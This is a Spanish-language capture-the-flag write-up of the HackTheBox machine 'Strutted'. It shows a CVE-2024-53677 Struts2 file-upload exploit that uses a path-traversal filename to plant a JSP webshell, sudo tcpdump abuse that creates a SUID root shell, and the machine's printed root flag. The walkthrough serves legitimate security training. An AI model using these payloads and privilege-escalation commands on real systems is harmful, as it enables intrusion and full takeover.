Machines - Strutted (HTB)
Las máquinas (de HackTheBox) son retos gamificados enfocados a Red Team o por lo menos, seguridad ofensiva, donde tendrás que intentar tomar control total de la máquina que tengas adelante abusando de vulnerabilidades practicando todo el proceso de pentesting como la obtención de información, explotación para obtener un Foothold, y luego seguir con generalmente, movimiento lateral y finalmente, la escalada de privilegios; Estos laboratorios son especialmente útiles para probar conceptos de seguridad ofensiva ya que tendrás que abusar de ellos para seguir avanzando.
Resumen Strutted
Esta máquina Linux, se exploran varios conceptos y para facilitarlos, hablaremos de ellos siguiendo el path de ataque:
- Enumeración de la página web para encontrar funcionalidades y versiones de sus componentes
- Threat Intelligence Para búsqueda de vulnerabilidades de sus componentes
- Explotación CVE-2024–53677 Abusar de una vulnerabilidad de Apache Stratus2
- Escalado de Privilegios Para descubrir contraseñas en archivos de configuración
- PE - Abuso de binario Escalado de privilegios abusando de derechos de ejecución con sudo
Laboratorio
Enumeración
Como acostumbramos, enuemramos inicialmente el objetivo con nmap
con las siguientes flags:
❯ nmap -p- --min-rate 5000 -n -Pn 10.10.11.59 --open -oG allports
-p-
Indica el escaneo de los 65,535 puertos--min-rate 5000
Indica la velocidad de transmisión de paquetes (a una tasa mínima de 5,000 paquetes por segundo)-n
Deshabilita la resolución DNS de la IP-Pn
Deshabilita el reconocimiento con icmp que realizanmap
para determinar si el host está activo o no10.10.11.82
La IP objetivo-oG allports
Indica un archivo de salida en formato grepeable (facilita mucho el utilizar bash para la extracción de información del archivo)
Y obtenemos los siguientes resultados:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-25 00:24 CST
Nmap scan report for 10.10.11.59
Host is up (0.19s latency).
Not shown: 61478 closed tcp ports (conn-refused), 4055 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Ahora, para obtener mayor información de los servicios, volvemos a realizar un escaneo de nmap
, esta vez, con algunas flags que recopilarán mayor información:
nmap -p22,80 -sCV -n -Pn 10.10.11.59 -oN OpenPorts
-p22,80
Limita el escaneo a sólo estos 2 puertos-sCV
Son 2 flags combinadas de nmap (-sC) para la ejecución de scripts por defecto de nmap (mayor información) y (-sV) para determinar la versión del servicio-oN OpenPorts
Indica que el output del comando lo reporte en un formato nmap, la salida de lo que veas en consola será lo que verás en el archivo.
Terminando la ejecución veremos los siguientes detalles:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-25 00:26 CST
Nmap scan report for 10.10.11.59
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Como vemos en la salida, se está redirigiendo a http://strutted.htb/
, pero nuestra máquina, no sabe qué es strutted.htb
; Para que el navegador resuelva el nombre del dominio, es necesario agregarlo a /etc/hosts
Como sigue:
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Others
10.10.11.59 strutted.htb
Internamente, cuando nosotros utilizamos nombres de dominio, el sistema revisa si lo tenemos registrado en este archivo antes de preguntar al DNS, es por ello que debemos ponerlo en el archivo, esto es necesario cada vez que se redirige de esta manera y básicamente, obligatorio cuando se trabaja en Active Directory.
Continuando, sin mucho que hacer, investigamos la página web:
Aquí hay algo importante a ir notando: Hay una nota que nos indica que es posible ver la imagen de docker de la página para conocer cómo está configurada Y arriba a la derecha el botón de Download
.
Descargamos el archivo y vemos el contenido, que a primera vista, es una aplicación Java; el archivo tomcat-users.xml
es importantísimo pues aquí hay credenciales que podemos llegar a utilizar y acceder al portal de administración Y de aquí, sólo crear una aplicación war con msfvenom y obtener nuestra shell al sistema… Pero no es el caso, pues no permite ingresar al portal de administración, sin mucho que perder, buscamos el archivo pom.xml
; Este archivo contiene las dependencias de la aplicación:
En algunas listadas, aparece Struts2
y si buscamos su versión 6.3.0.1
Obtenemos un hit de un CVE
Threat Intelligence
CVE-2024-53677 Es una vulnerabilidad en la lógica de Apache Struts 2 que permite la subida arbitraria de arhcivos que usen el interceptor de subida de arhcivos; Archivos subidos con un path traversal relativo en el nombre resultan en la escritura arbitraria facilitando la ejecución de código….
El componente vulnerable es el interceptor que es un componente importante en Struts, tiene distintas funciones pero lo importante, es que se ejecuta antes y después de una acción: Durante el File Upload, todos los parámetros se mandan al interceptor, luego se convierten en objetos java y los asigna a la clase Action.
Ahora, entra otro concepto importante: el OGNL, que se utiliza para mapear parámetros HTTP, que internamente, son Propiedades del objeto Action que aunque la aplicación haga validaciones sobre los archivos subidos al servidor, manipulando con OGNL podemos realizar la subida arbitraria de archivos y el RCE.
Abrimos nuestro Web Proxy Favorito y hacemos una petición con un archivo de prueba:
Nota: Para el archivo de prueba sólo basta con hacer “echo ‘GIF87a\n’ > text.gif” para imitar el MIME de un gif
Con nuestra request de prueba, mandamos la petición a Repeater Y empezamos a crear nuestra request maliciosa.
Explotación CVE-2024–53677
Primero, para la webshell escogemos la de este PoC del mismo exploit Con el archivo en mano, copiamos y pegamos el payload debajo del MIME.
Ahora, para manipular el OGNL debemos copiar una cabecera: el boundary que es un arreglo de caracteres; verás que se repite al inicio de la data POST y al final; pues agrega la misma cabecera antes del último.
Una vez agregado, repites la primera información que está al inicio de la petición, ya que alterarás los detalles de ellos:
------WebKitFormBoundaryET5HdqYZtoiq8VNz
Content-Disposition: form-data; name="top.UploadFileName";
../../cmd211.jsp
Con esto, estamos manipulando el nombre de Upload (por ello, también es importante que cambies el primer renglón para que se ajuste a este nombre):
------WebKitFormBoundaryET5HdqYZtoiq8VNz
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/png
GIF87a
El nombre, debe de ser con extención jsp, que es la extensión de nuestra web shell; cuando las subas, deberás tener una respuesta positiva:
Como observarás, el nombre aparece con el path traversal, lo que lo ubicará en el ROOT del servidor web
Obteniendo nuestro foothold!.
Escalado de Privilegios
Enumerando lo más básico, podremos encontrar la configuración rápidamente:
Junto con el archivo tomcat-users.xml
; Si lo enumeramos también:
Obtendremos unas credenciales; si queremos tener la posibilidad de usarlas para autenticarnos mediante SSH
, lógimanete, debemos saber con qué usuarios podemos utilizarlas:
Lo que nos da acceso a la primera flag:
Lo primero que hacemos, es investigar si podemos utilizar sudo
para ejecutar algún binario con privilegios, encontrando nuestra vía de escalado.
PE - Abuso de binario
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
Si no estás seguro si el binario que listan algunos comandos, puede ser abusable, revisa GTFOBins. Y para sopresa quizá de muchos: Se puede escalar privilegios con tcpdump y es muy sencillo.
Tan sólo tenemos que:
- Definir un comando
- Crear un archivo temporal
- Hacer echo al comando para mandarlo al archivo
- Hacer ejecutable el archivo
- Ejecutar tcpdump con privilegios de root (el
-z
ejecuta un comando sobre el archivo cunado se crea un archivo de captura)
En el siguiente path, voy a copiar el binario /bin/bash
y le pongo permisos de SUID
:
james@strutted:~$ COMMAND='cp /bin/bash /tmp/jsjsjs; chmod 4777 /tmp/jsjsjs'
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ cd /tmp/
james@strutted:/tmp$ ls
jsjsjs
Y tan fácíl como ejecutar ./jsjsjs -p
para obtener una shell como root:
james@strutted:/tmp$ ./jsjsjs -p
jsjsjs-5.1# whoami
root
jsjsjs-5.1# cd /root
jsjsjs-5.1# ls
root.txt
jsjsjs-5.1# cat root.txt
c0172e47c8b0bcdeb8fb57b6e1653d3c
Agradecimiento
Si lees esto, gracias por llegar hasta aquí!, si existen dudas, comentarios y correcciones (que son más que bienvenidas) contáctame con confianza, que siempre he dicho que la ciberseguridad es esfuerzo conjunto.
En caso que no los vea, buenos días, buenas tardes y buenas noches. Happy Hacking!.